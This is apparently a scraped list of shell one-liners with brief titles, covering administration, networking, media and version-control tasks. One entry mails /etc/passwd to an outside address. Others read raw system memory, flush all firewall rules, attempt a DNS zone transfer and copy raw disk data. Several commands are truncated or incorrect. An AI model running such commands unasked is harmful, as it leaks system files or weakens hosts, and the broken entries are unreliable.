>> for i in ~/Desktop/Personal/Wallpapers/*.jpg ; { size=$((`identify -format "%wx%h" $i | sed 's/x/*/'`)) ; if [[ $size -lt 800001 ]] then ; rm -f "$i" ; fi; }
* Convert video type from mpg to wmv
>> mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1000:vhq -oac
* Creating sequence of number with text
>> seq 10 |xargs -n1 echo Printing line
* Proxy all web traffic via ssh
>> Putty -d 8080 [server]
* colored tail
>> tail -f FILE | grep --color=always KEYWORD
* GZip all files in a directory separately
>> for file in *.foo; do gzip "$file"; done
* Command to resolve name from Ip address, passing only the last
>> seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{} - ; nslookup 164.85.216.{} |grep name"|tr -s ' ' ' '|awk '{print $1" - "$5}'|sed 's/.$//'
* Monitor a file's size
>> while [ 1 ]; do du /var/log/messages;sleep 60; done
* Check if variable is a number
>> echo $X | egrep "^[0-9]+$"
* View firewall config including devices on linux w/netfilter
>> iptables -L -n -v
* sort lines by length
>> awk '{print length, $0;}' | sort -nr
* Get last changed revision to all eclipse projects in a SVN working
>> find . -iname ".project"| xargs -I {} dirname {} | LC_ALL=C xargs -I {} svn info {} | grep "Last Changed Rev\|Path" | sed "s/Last Changed Rev: /;/" | sed "s/Path: //" | sed '$!N;s/\n//'
* Convert unix timestamp to date
>> date -ud "1970-01-01 + 1234567890 seconds"
* List only locally modified files with CVS
>> cvs -n update 2>null | grep -i "M " | sed s/"M "//
* Bashbuiltin printf
>> cat file.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done
* List open TCP/UDP ports
>> netstat -ltun
* List open TCP/UDP ports
>> netstat -anp --tcp --udp | grep LISTEN
* Consistent Oracle Datapump Export
>> expdp user/password FLASHBACK_SCN=$(echo -e "select current_scn from v\$database;" | sqlplus / as sysdba 2>/dev/null| grep [0-9][0-9][0-9][0-9][0-9][0-9]*)
* Are 64-bit applications supported on my Solaris OS?
>> isainfo -vb
* convert string to array
>> s=124890; array=($(echo $s | sed 's/./& /g')); echo ${array[@]}; echo
* convert string to array
>> s="124890";for i in $(seq 0 1 $((${#s}-1))); do arr[$i]=${s:$i:1}; done
* Open your application to a specific size and location
>> command -geometry 120x30+1280+0
* Log a command's votes
>> while true; do curl -s http://www.commandlinefu.com/commands/view/3643/log-a-commands-votes | grep 'id="num-votes-' | sed 's;.*id="num-votes-[0-9]*">\([0-9\-]*\)</div>;\1;' >> votes; sleep 10; done
* Colorized grep in less
>> ack --pager='less -r'
* futz.me - Send yourself notes from the command line
>> lynx "futz.me/xxx hey this is a test"
* Find duplicate dir in path
>> echo $PATH|tr : '\n'|sort|uniq -d
* Randomize lines (opposite of | sort)
>> cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] unless ($i==$r); } chomp @f; foreach $line (@f){ print $line; }}'
* find . -name "*.txt" | xargs sed -i "s/old/new/"
>> find . -name "*.txt" | xargs sed -i "s/old/new/"
* svn diff $* | colordiff | lv -c
>> svn diff $* | colordiff | lv -c
* Recursive Ownership Change
>> sudo chown -R user2:user2 /../../somedirectory
* Execute a command with a timeout
>> perl -e "alarm 10; exec @ARGV" "somecommand"
* Show which include directories your installation of Perl is
>> perl -le 'print join $/, @INC'
* Dump all of perl's config info
>> perl -le 'use Config; foreach $i (keys %Config) {print "$i : @Config{$i}"}'
* Go get those photos from a Picasa album
>> echo 'Enter Picasa album RSS URL:"; read -e feedurl; GET "$feedurl" |sed 's/</\n</g' | grep media:content |sed 's/.*url='"'"'\([^'"'"']*\)'"'"'.*$/\1/' > wgetlist
* List all text files (exclude binary files)
>> find . | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;"
* Learn how to stop mistyping "ls" the fun way
>> apt-get install sl; sl
* List the size (in human readable form) of all sub folders from the
>> du -h --max-depth=1
* Query Wikipedia via console over DNS
>> dig +short txt <keyword>.wp.dg.cx
* Display the top ten running processes - sorted by memory usage
>> ps aux | sort -nk +4 | tail
* A very simple and useful stopwatch
>> time read (ctrl-d to stop)
* Place the argument of the most recent command on the shell
>> 'ALT+.' or '<ESC> .'
* Quick access to the ascii table.
>> man ascii
* Shutdown a Windows machine from Linux
>> net rpc shutdown -I ipAddressOfWindowsPC -U username%password
* Execute a command without saving it in the history
>> <space>command
* Jump to a directory, execute a command and jump back to current
>> (cd /tmp && ls)
* Clear the terminal screen
>> ctrl-l
* Backticks are evil
>> echo "The date is: $(date +%D)"
* Reboot machine when everything is hanging
>> <alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>
* Easily search running processes (alias).
>> alias 'ps?'='ps ax | grep '
* Rip audio from a video file.
>> mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
* Matrix Style
>> tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
* Watch Star Wars via telnet
>> telnet towel.blinkenlights.nl
* Stream YouTube URL directly to mplayer.
>> mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")
* Use heading subtitle file as watermark using mencoder
>> mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac
* Send a local file via email
>> cat filename | uuencode filename | mail -s "Email subject" user@example.com
* Bulk copy large blocks of data between File Systems (run as root
>> tar cpof - src |( cd des; tar xpof -)
* list the last week's added files in xmms2's library
>> xmms2 mlib search added \> $(echo $(date +%s) - 604800|bc)
* View a sopcast stream
>> (sp-sc sop://broker.sopcast.com:3912/6002 3900 8900 &>/dev/null &); sleep 10; mplayer http://localhost:8900/tv.asf
* Show only existing executable dirs in PATH using only builtin bash
>> for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done
* for loop with leading zero in bash 3
>> printf "%02u " {3..20}; echo
* for loop with leading zeros
>> for s in `seq -f %02.0f 5 15`; do echo $s; done
* Substitution cipher
>> echo "Decode this"| tr [a-zA-Z] $(echo {a..z} {A..Z}|grep -o .|sort -R|tr -d "\n ")
* regex to match an ip
>> echo 254.003.032.3 | grep -P '^((25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])\.){3}(25[0-4]|2[0-4]\d|[01]?[\d]? [1-9])$'
* replace @ symbol with new line character, to get new line
>> %s/@/^v[M]/g
* Tar a directory and its sub-directory
>> tar cvfz dir_name.tgz dir/
* http://www.merriam-webster.com/dictionary/ultimate
>> ultimate
* Run remote web page, but don't save the results
>> wget -q --spider http://server/cgi/script
* Mount an ISO image on Mac OS X
>> hdiutil mount sample.iso
* When need to compress the Zope Database
>> python fsrecovery.py -P 0 -f <path-to-instance>/Data.fs <path-to-instance-destination>/Data.fs.packed
* find files in $PATH that were not installed through dpkg
>> echo -e "${PATH//://\n}" >/tmp/allpath; grep -Fh -f /tmp/allpath
* Create a zip file ignoring .svn files
>> find . -not \( -name .svn -prune \) -type f | xargs zip XXXXX.zip
* Search OpenSolaris packages and show only the pkg names
>> pkg search SEARCH_TERM | awk '{print $NF}' | sed -e 's;.*/\(.*\)\@.*;\1;' | sort -u
* Put the machine to sleep after the download(wget) is done
>> while [ -n "`pgrep wget`" ]; do sleep 2 ;done; [ -e "/tmp/nosleep"] || echo mem >/sys/power/state
* View the octal dump of a file
>> od -vt x1 /tmp/spaghettifile
* Add another tty device using mknod command
>> sudo mknod /dev/ttyS4 c 4 68
* badblocks for floppy
>> /sbin/badblocks -v /dev/fd0 1440
* How to watch files
>> watch -d 'ls -l'
* Watching Command
>> watch 'cat /proc/loadavg'
* See if your mac can run 64-bit && if it the kernel is loaded
>> ioreg -l -p IODeviceTree | grep -o EFI[0-9]. && system_profiler SPSoftwareDataType |grep 64
* bash/ksh function: given a file, cd to the directory it lives
>> function fcd () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ; } pwd }
* Edit all files found having a specific string found by grep
>> grep -ir 'foo' * | awk -F '{print $1}' | xargs vim
* Edit all files found having a specific string found by grep
>> grep -ir 'foo' * | awk '{print $1}' | sed -e 's/://' | xargs vim
* list all hd partitions
>> fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g"
* find files containing text
>> grep -lir "sometext" * > sometext_found_in.log
* Another way to see the network interfaces
>> ip addr show
* scp a good script from host A which has no public access to host
>> ssh middlehost "ssh -a root@securehost '> nicescript'" < nicescript
* Download entire commandlinefu archive to single file
>> for x in `jot - 0 \`curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1\` 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$ x" ; done >a.txt
* Do a search-and-replace in a file after making a backup
>> for file in <filename>; do cp $file{,.bak} && sed 's/old/new/g' $file.bak > $file; done
* Resolve the "all display buffers are busy, please try later" error
>> dm display-buffer reset
* Get number of diggs for a news URL
>> curl -s "http://services.digg.com/stories?link=$NEWSURL&appkey=http://www.whate ver.com&type=json" | python -m simplejson.tool | grep diggs
* Verbosely delete files matching specific name pattern, older than
>> find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {};
* locate a filename, make sure it exists and display it with full
>> locate -e somefile | xargs ls -l
* List files and sizes
>> find / -type f -exec wc -c {} \; | sort -nr | head -100
* power off system in X hours form the current time, here X=2
>> echo init 0 | at now + 2 hours
* purge old stale messages on a qmail queue
>> for i in `grep "unable to stat" /var/log/syslog | cut -d "/" -f 3 | sort | uniq`; do find /var/qmail/queue -name $i -type f -exec rm -v {} \; ; done
* delete all DrWeb status, failure and other messages on a postfix
>> mailq | grep DrWEB | awk {'print $1'} | sed s/*//g | postsuper -d -
* less an message on a postfix mailsystem with a specific
>> id=<XXXX>; find /var/spool/postfix/ -name $id -exec less {} \;
* replace old htaccess php AddHandler values with new one
>> find /var/www/ -type f -name ".htaccess" -exec perl -pi -e 's/AddHandler[\s]*php(4|5)-cgi/AddHandler x-httpd-php\1/' {} \;
* Have a list of directories in a file, ending with newlines and
>> cat filename | tr '\n' '\0' | du -hsc ?files0-from=-
* Download all Phrack .tar.gzs
>> for ((i=1; i<67; i++)) do wget http://www.phrack.org/archives/tgz/phrack${i}.tar.gz -q; done
* Remove CR from Windows- / DOS-textfiles
>> dos2unix file.txt
* Watch changeable interrupts continuously
>> watch -n1 'cat /proc/interrupts
* Merge ( directories [looking for improvement]
>> (cd SRC; find . -type d -exec mkdir TARGET/{} ";"; find . -type f -exec mv {} TARGET/{} ";")
* total text files in current dir
>> file -i * | grep 'text/plain' | wc -l
* An easter egg built into python to give you the Zen of Python
>> echo "import this" | python
* checks if host /service is up on a host that doesn't respond to
>> while true; do clear; nmap ${hostname} -PN -p ${hostport}; sleep 5; done
* print latest (top 10, top 3 or *) commandlinefu.com commands
>> wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '<x>' -n -t -m rss/channel/item -o '<y>' -n -v description -o '</y>' -n -t -o '</x>' | xmlstarlet sel -T -t -m x/y -v code -n
* Analyze awk fields
>> tr " " "\n" | nl
* Add "prefix" on a bunch of files
>> for a in *; do mv $a prefix${a}; done
* Get Interface's IP on Mac
>> ipconfig getifaddr <Interface>
* Picture Renamer
>> ls -1 *.jpg | while read fn; do export pa=`exiv2 "$fn" | grep timestamp | awk '{ print $4 " " $5 ".jpg"}' | tr ":" "-"`; mv "$fn" "$pa"; done
* pipe commands from a textfile to a telnet-server with netcat
>> nc $telnetserver 23 < $commandfile
* Copy files from list with hierarchy
>> cat files.txt | xargs tar -cv | tar -x -c $DIR/
* Send SNMP traps
>> sudo snmptrap -m ALL -v 2c -c public trapserver "" UCD-DEMO-MIB::ucdDemoPublic SNMPv2-MIB::sysLocation.0 s "Just here"
* Create more threads with less stack space
>> ulimit -s 64
* modify (mozldap) with proxy authentication and no other controls
>> ldapmodify -Y "dn:uid=rob,dc=example.com" -g -R -J 2.16.840.1.113730.3.4.16 ...
* Convert a batch of images to a Video
>> mencoder "mf://frame_*.bmp" -mf w=720:h=480:fps=30:type=bmp -ovc lavc
* Command to display how much resource is taken by cpu and which
>> pidstat -C "ffmpeg" -u
* Lists unambigously names of all xml elements used in files in
>> grep -Eho '<[a-ZA-Z_][a-zA-Z0-9_-:]*' * | sort -u | cut -c2-
* use curl to resume a failed download
>> cat file-that-failed-to-download.zip | curl -C - http://www.somewhere.com/file-I-want-to-download.zip >successfully-downloaded.zip
* Batch image resize
>> for a in `ls`; do echo $a && convert $a -resize <Width>x<Height> $a; done
* skipping five lines, at top, then at bottom
>> seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5
* Generate Files with Random Content and Size in Bash
>> no_of_files=10; counter=1; while [[ $counter -le $no_of_files ]]; do echo Creating file no $counter; dd bs=1024 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter; let "counter += 1"; done
* Gentoo: Get the size of all installed packets, sorted
>> equery s | sed 's/(\|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}'
* Get all IPs via ifconfig
>> ipconfig getpacket en0 | grep yi| sed s."yiaddr = "."en0: ". ipconfig getpacket en1 | grep yi| sed s."yiaddr = "."en1: ".
* Bypass 1000 Entry limit of Active Directory with ldapsearch
>> ldapsearch -LLL -H ldap://${HOST}:389 -b 'DC=${DOMAIN},DC=${TLD}' -D '${USER}' -w 'password' objectclass=* -E pr=2147483647/noprompt
* Change a text files contents without opening it, or intermediate
>> print 'g/'delete this line'/delete\nwq' | ex file.txt
* Change open file descriptors limit.
>> ulimit -n <value>
* ignore hidden directory in bash completion (e.g. .svn)
>> Add to ~/.inputrc: set match-hidden-files off
* Send Reminders from your Linux Server to Growl on a Mac
>> remind -z1 -k'echo %s |ssh <user>@<host> "growlnotify"' ~/.reminders &
* Test your total disk IO capacity, regardless of caching, to find
>> time dd if=/dev/zero of=blah.out oflag=direct bs=256M count=1
* Create a file list of all package files installed on your
>> for i in `rpm -qva | sort ` ; do ; echo "===== $i =====" ; rpm -qvl $i ; done > /tmp/pkgdetails
* Test network performance, copying from the mem of one box, over
>> dd if=/dev/zero bs=256M count=1 | nc [remoteIP] [remotePort] and on the other host nc -l port >/dev/null
* Fast grepping (avoiding UTF overhead)
>> export LANG=C; grep string longBigFile.log
* Watch number of lines being processed on a clear screen
>> cat /dev/urandom|awk 'BEGIN{"tput cuu1" | getline CursorUp; "tput clear" | getline Clear; printf Clear}{num+=1;printf CursorUp; print num}'
* Sorting by rows
>> infile=$1 for i in $(cat $infile) do echo $i | tr "," "\n" | sort -n | tr "\n" "," | sed "s/,$//" echo done
* kill some process (same as others) but parsing to a variable
>> pkill -9 -f program
* Test if the given argument is a valid ip address.
>> perl -e '$p=qr!(?:0|1\d{0,2}|2(?:[0-4]\d?|5[0-5]?|[6-9])?|[3-9]\d?)!;print((shi ft=~m/^$p\.$p\.$p\.$p$/)?1:0);' 123.123.123.123
* SSH monitor
>> ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted | while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done
* Printing multiple years with Unix cal command
>> for y in 2009 2010 2011; do cal $y; done
* Matrix Style
>> while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
* Migrate gems from one ruby installation to another
>> /originalInstall/gem list | tr -d '(),' | xargs -L 1 sudo ./gemInst.sh
* Find files with lines that do not match a pattern
>> fmiss() { grep -cR "$*" * | grep -E ':0$' | cut -d: -f1 ; }
* Scan computers OS and open services on all network
>> nmap -O 192.168.1.1/24
* bbs in utf8 console
>> luit -encoding gbk telnet bbs.sysu.edu.cn
* Puts every word from a file into a new line
>> sed -r 's/[ \t\r\n\v\f]+/\^J/g' INFILE > OUTFILE
* Overwrite local files from copies in a flat directory, even if
>> for f in $(find * -maxdepth 0 -type f); do file=$(find ~/target -name $f); if [ -n "$file" ]; then cp $file ${file}.bak; mv $f $file; fi; done
* Frequency Sweep
>> l=500; x=500; y=200; d=-15;for i in `seq $x $d $y`; do beep -l $l -f $i;done
* get a list of running virtual machines from the command line
>> vmrun list
* run vmware virtual machine from the command line without the gui
>> vmrun start /path/to/virtual_machine.vmx nogui
* Check if you need to run LaTeX more times to get the refefences
>> egrep "(There were undefined references|Rerun to get (cross-references|the bars) right)" texfile.log
* Puts every word from a file into a new line
>> awk '{c=split($0, s); for(n=1; n<=c; ++n) print s[n] }' INPUT_FILE >
* Compile a latex doc to generate index
>> ruby -e " 3.times { system 'pdflatex mydoc.tex' } "
* Convert man page to PDF
>> man -Tps ls >> ls_manpage.ps && ps2pdf ls_manpage.ps
* Calculator on the go
>> echo 2+3 |bc
* Find which package a file belongs to on Solaris
>> pkgchk -l -p <full path to the file>
* Open Vim with two windows
>> vim -c new myfile
* Quickly clean log files (assuming you don't want them anymore)
>> for file in `find /var/log/ -type f -size +5000k`; do > $file; done
* Quickly clean log files (assuming you don't want them anymore)
>> for file in `find /var/log/ -type f -size +5000k`; do echo " " > $file; done
* my command for downloading delicious web links,
>> wget -r --wait=5 --quota=5000m --tries=3 --directory-prefix=/home/erin/Documents/erins_webpages --limit-rate=20k --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net -F -i ./delicious-20090629.htm
* Extract the emoticons regex from a running skype process
>> S=`pidof skype`;grep heap /proc/$S/maps|cut -f1 -d' '|awk -F- '{print "0x" $1 " 0x" $2}'|xargs echo "du me t ">l;gdb -batch -p $S -x l>/dev/null 2>&1;strings t|grep \(smirk|head -n1
* Untar file with absolute pathname to relative location
>> pax -r -s ',^/,,' -f file.tar
* Print multiline text starting and ending at specific regexps with
>> man fetchmail | perl -ne 'undef $/; print $1 if m/^.*?(-k \| --keep.*)-K \| --nokeep.*$/smg'
* Open a Remote Desktop (RDP) session with a custom resolution.
>> mstsc /w:1500 /h:900 /v:www.example.com
* get linkspeed, ip-adress, mac-address and processor type from osx
>> echo "-------------" >> nicinfo.txt; echo "computer name x" >> nicinfo.txt; ifconfig | grep status >> nicinfo.txt; ifconfig | grep inet >> nicinfo.txt; ifconfig | grep ether >> nicinfo.txt; hostinfo | grep type >> nicinfo.txt;
* String Capitalization
>> echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}'
* vim insert current filename
>> :r! echo %
* Match non-empty lines
>> grep -v "^\W$" <filename>
* find large files
>> ls -s | sort -nr | more
* Create a random file of a specific size
>> dd if=/dev/zero of=testfile.txt bs=1M count=10
* Extract the daily average number of iops
>> for x in `seq -w 1 30`; do sar -b -f /var/log/sa/sa$x | gawk '/Average/ {print $2}'; done
* Send multiple attachments using mailx
>> (uuencode foo.txt foo.txt; uuencode /etc/passwd passwd.txt)|mailx -s "Pandaren!" someone@cmdfu.com
* Extract multiple file in a directory
>> for i in *.tar.gz; do tar -xzf $i; done
* Finds all of the mailers being used in your rails app
>> egrep -r '(render_message|multipart).*('`find app/views -name '*.erb' | grep mailer | sed -e 's/\..*//' -e 's/.*\///' | uniq | xargs | sed 's/ /|/g'`')' app/models
* I hate `echo X | Y`
>> base64 -d <<<
* Rsync remote data as root using sudo
>> rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
* find the process that is using a certain port e.g. port 3000
>> lsof -P | grep ':3000'
* Check Ram Speed and Type in Linux
>> sudo dmidecode --type 17 | more
* Grep for word in directory (recursive)
>> grep --color=auto -iRnH "$search_word" $directory
* List of commands you use most often
>> history | awk '{print $2}' | sort | uniq -c | sort -rn | head
* Recursively remove .svn directories from the current location
>> find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
* find process associated with a port
>> fuser [portnumber]/[proto]
* Get http headers for an url
>> curl -I www.commandlinefu.com
* copy working directory and compress it on-the-fly while showing
>> tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
* Clean your broken terminal
>> stty sane
* geoip information
>> curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
* Unbelievable Shell Colors, Shading, Backgrounds, Effects for
>> for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
* How fast is the connexion to a URL, some stats from curl
>> URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL
* Emulate a dual-screen using vnc
>> x2vnc {-west|-east|-north|-south} computer-ip:display-number
* Remove the boot loader from a usb stick
>> dd if=/dev/zero of=/dev/sdb bs=446 count=1
* Archive every file in /var/logs
>> find /var/logs -name * | xargs tar -jcpf logs_`date +%Y-%m-%e`.tar.bz2
* Check syntax of all PHP files before an SVN commit
>> for i in `svn status | egrep '^(M|A)' | sed -r 's/\+\s+//' | awk '{ print $2 }'` ; do if [ ! -d $i ] ; then php -l $i ; fi ; done
* Remove an old gmetric statistic
>> gmetric -n $METRIC_NAME -v foo -t string -d 10
* Today's date on a yearly calendar...
>> cal -y | tr '\n' '|' | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed 's/./#/g') /$(date +%m | sed s/^0//)" | tr '|' '\n'
* Eclipse needs to know the path to the local maven repository.
>> mvn -Declipse.workspace=<path-to-eclipse-workspace> eclipse:add-maven-repo
* Do a quick check on the harware specifications on a set of Linux
>> clear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release; cat /proc/cpuinfo | tail -n 25 | egrep '^processor|^model name' "; free ; df -h ;done
* Get max number of arguments
>> getconf ARG_MAX
* get the list of temps for your hard-drives
>> hddtemp /dev/sda /dev/sdb /dev/hda /dev/hdb | gawk '{print $NF}' | perl -n -e '$_ =~ s/(\d+)/print "$1 "/eg }{ print "\n"'
* Shows the torrent file name along with the trackers url
>> grep -ao -HP "http://[^/]*/" *
* Delete Empty Directories
>> find . -type d -exec rmdir {} \;
* my command for downloading delicious web links,
>> wget -H -r -nv --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net --exclude-directories=
* How to Find the Block Size
>> /sbin/dumpe2fs /dev/hda2 | grep 'Block size'
* automatically add and remove files in subversion
>> svn st | grep '^\?' | awk '{print $2}' | xargs svn add; svn st | grep '^\!' | awk '{print $2}' | xargs svn rm
* alias for etckeeper, to commit changes after moification of etc
>> function ec() { ec_var="`pwd`" && cd /etc/ && sudo bzr commit -m "$@" && cd $ec_var; }
* Syslog System Reporting in a shell
>> tail -f --retry /var/log/syslog /var/log/auth.log | ccze -A
* view the system memory in clear text
>> hexdump -e '90/1 "%_p" "\n"' /dev/mem | less
* prints message in given argument on on center of screen
>> function echox { echo `tput cup $(($(tput lines))) $(( ($(tput cols) - $(echo "${#1}"))/2 ))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; }
* fetch 1600 jokes from robsjokes.com into a single file, which is
>> for i in `seq -w 1600` ; do links -dump http://www.robsjokes.com/$i/index.html | sed '/Random Joke/,/Next Joke/!d' | sed '/^$/,/^$/!d' >> ~/temp/Rob.jokes ; echo '%' >> ~/temp/Rob.jokes ; done
* Rearrange words from a file
>> perl -lane 'print "$F[0]:$F[1]:$F[2]"' myfile
* Remove unused libs/packages
>> aptitude remove $(deborphan)
* sync a directory of corrupted jpeg with a source directory
>> for i in *jpg; do jpeginfo -c $i | grep -E "WARNING|ERROR" | cut -d " " -f 1 | xargs -I '{}' find /mnt/sourcerep -name {} -type f -print0 | xargs -0 -I '{}' cp -f {} ./ ; done
* Reads in the ~/.Xdefaults
>> alias xdef_load='xrdb -merge ~/.Xdefaults'
* Search gdb help pages
>> gdb command: apropos <keyword>
* One liner gdb attach to Acrobat
>> (acroread &);sleep 2;gdb /opt/Adobe/Reader8/Reader/intellinux/bin/acroread `pidof ld-linux.so.2`
* Convert ip address in hexadecimal
>> gethostip 208.69.34.230 -x
* Find your graphics chipset
>> lspci |grep VGA
* Laminate files line by line
>> lam -f 1.4 myfile
* Convert Raw pictures to jpg
>> for img in $( ls *.CR2 ); do convert $img $img.jpg; done
* Get a summary of network devices in the system
>> $ for i in `ls --color=none /sys/class/net`; do echo "# $i"; sudo ethtool $i | grep -E "Link|Speed" ; done
* Install a library to a remote repository
>> mvn deploy:deploy-file -DgroupId=groupId -DartifactId=artifactId -Dversion=1.0 -Dpackaging=jar -Dfile=pathtolib -DrepositoryId=repository -Durl=url
* Get thread count for process on Solaris
>> ps -L -p <pid> | wc -l
* Start a vnc session on the currently running X session
>> x0vnc4server -display :0 -PasswordFile ~/.vnc/passwd
* Send Disk usage via email
>> #!/bin/sh #du.sh i=`hostname -i` df -h > /tmp/space.txt echo "server $i " >> /tmp/space.txt uuencode /tmp/space.txt space.txt | mail -s "HDD usage $i" email@email.com
* List installed rpm named and arquitecture.
>> rpm -qa --queryformat "%{NAME} %{ARCH}\n"
* Execute a command with the last parameter of a previous command
>> ls !$
* Number of seconds to certain unix date
>> echo $( (( $( (2**31 -1) ) - $(date +%s) )) )
* Get the version of sshd on a remote system
>> ssh -vN hostname 2>&1 | grep "remote software version"
* log your PC's motherboard and CPU temperature along with the
>> date +%m/%d/%y%X|tr -d 'n' >>datemp.log&& sensors|grep +5V|cut -d "(" -f1|tr -d 'n'>> datemp.log && sensors |grep Temp |cut -d "(" -f1|tr -d 'n'>>datemp.log
* Delete more than one month old thumbnails from home directory
>> find ~/.thumbnails/ -type f -atime +30 -print0 | xargs -0 rm
* Clean up after improper deletes in subversion
>> svn rm `svn status | grep "\!" | cut -c 8-`
* Create a symbolic link tree that shadows a directory structure
>> find /home/user/doc/ -type d -printf "mkdir -vp '/home/user/Dropbox%p'\n" -o -type f -printf "ln -vs '%p' '/home/user/Dropbox%p'\n" | sh
* Given NOPASSWD privileges on a remote SSH server, sftp as root
>> sftp -s "sudo /usr/lib/sftp-server" user@host
* Simple countdown from a given date
>> watch --no-title -d -n 1 'echo `date -d "next Thursday" +%s` "-" `date +%s` | bc -l'
* Clean the /boot directory
>> rpm -q kernel-2* | grep -v $(uname -r) | xargs yum erase -y
* Apply all pending updates to Mandriva Linux system (2008.0 and
>> urpmi --auto-update --force # apply all pending updates (Mandriva Linux)
* Dns zone transfer
>> host -la domain.com
* Adds characters at the beginning of the name of a file
>> rename 's/.*/[it]$&/' *.pdf
* Disable all iptables rules without disconnecting yourself
>> iptables -F && iptables -X && iptables -P INPUT ACCEPT && iptables -OUTPUT ACCEPT
* Show the files that you've modified in an SVN tree
>> svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$'
* Show the ordered header line (with field names) of a CSV file
>> function headers { head -1 $* | tr ',' '\12' | pr -t -n ; }
* A bash function to show the files most recently modified in the
>> function t { ls -ltch $* | head -20 ; }
* Send an http HEAD request w/curl
>> curl -i -X HEAD http://localhost/
* Lists open ports
>> netstat -antuwp | egrep "(^[^t])|(^tcp.*LISTEN)"
* alias to show my own configured ip
>> alias showip="ifconfig eth0 | grep 'inet addr:' | sed 's/.*addr\:\(.*\) Bcast\:.*/\1/'"
* do a release upgrade in ubuntu
>> do-release-upgrade
* List all rpms on system by name, version and release numbers, and
>> rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'
* Remove leading zeros in multiple columns with sed
>> sed 's/\b\(0*\)//g' filename
* How to know if your NIC receive link
>> watch ethtool eth0
* Strip out time difference entries when verifying rpms on x86_64
>> rpm -Va | grep -v "\.\.\.\.\.\.\.T"
* host - DNS lookup utility
>> host google.com
* Copy all files. All normal files, all hidden files and all files
>> cp ./* .[!.]* ..?* /path/to/dir
* Create a P12 file, using OpenSSL
>> openssl pkcs12 -export -in /dir/CERTIFICATE.pem -inkey /dir/KEY.pem -certfile /dir/CA-cert.pem -name "certName" -out /dir/certName.p12
* View the list of files and directories in an archive with less.
>> less file.tar.gz
* Generate secure password to userwith chpasswd
>> echo "encryptedpassword"|openssl passwd -1 -stdin
* Edit the /etc/sudoers config file the right way.
>> visudo
* package most recent files in project
>> find ~/project -mtime -1 -type f -print | tar jcvf myfiles.tar.bz2 -T -
* ls to show hidden file, but not . or ..
>> ls -A
* Scan your LAN for unauthorized IPs
>> diff <(nmap -sP 192.168.1.0/24 | grep ^Host | sed 's/.appears to be up.//g' | sed 's/Host //g') auth.hosts | sed 's/[0-9][a-z,A-Z][0-9]$//' | sed 's/</UNAUTHORIZED IP -/g'
* search manpages on the internets
>> manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgi-bin/adm/man.cgi?section=all&topic=' "$1" | less; }
* AIX: Determine what filesets are missing to reach a TL
>> instfix -icq | grep 5300-07_AIX_ML | grep ":-:"
* Extract the contents of an RPM package to your current directory
>> rpm2cpio /path/to/file.rpm | cpio -i -d
* SVN Clean
>> svn status | grep ^? | awk '{print $2}' | xargs rm -rf
* Use the page up key to complete the command.
>> echo "\"\e[5~\": history-search-backward" >> ~/.inputrc
* Generate a specification file for file integrity scanning.
>> mtree -c -K sha256digest -X mtree.exclude -p /path > host.mtree
* Show hidden files in OS X
>> defaults write com.apple.Finder AppleShowAllFiles TRUE
* Diff with colour highlighting
>> svn diff ARGUMENTS_FOR_DIFF | source-highlight --out-format=esc --src-lang=diff
* command for converting wav files to mp3
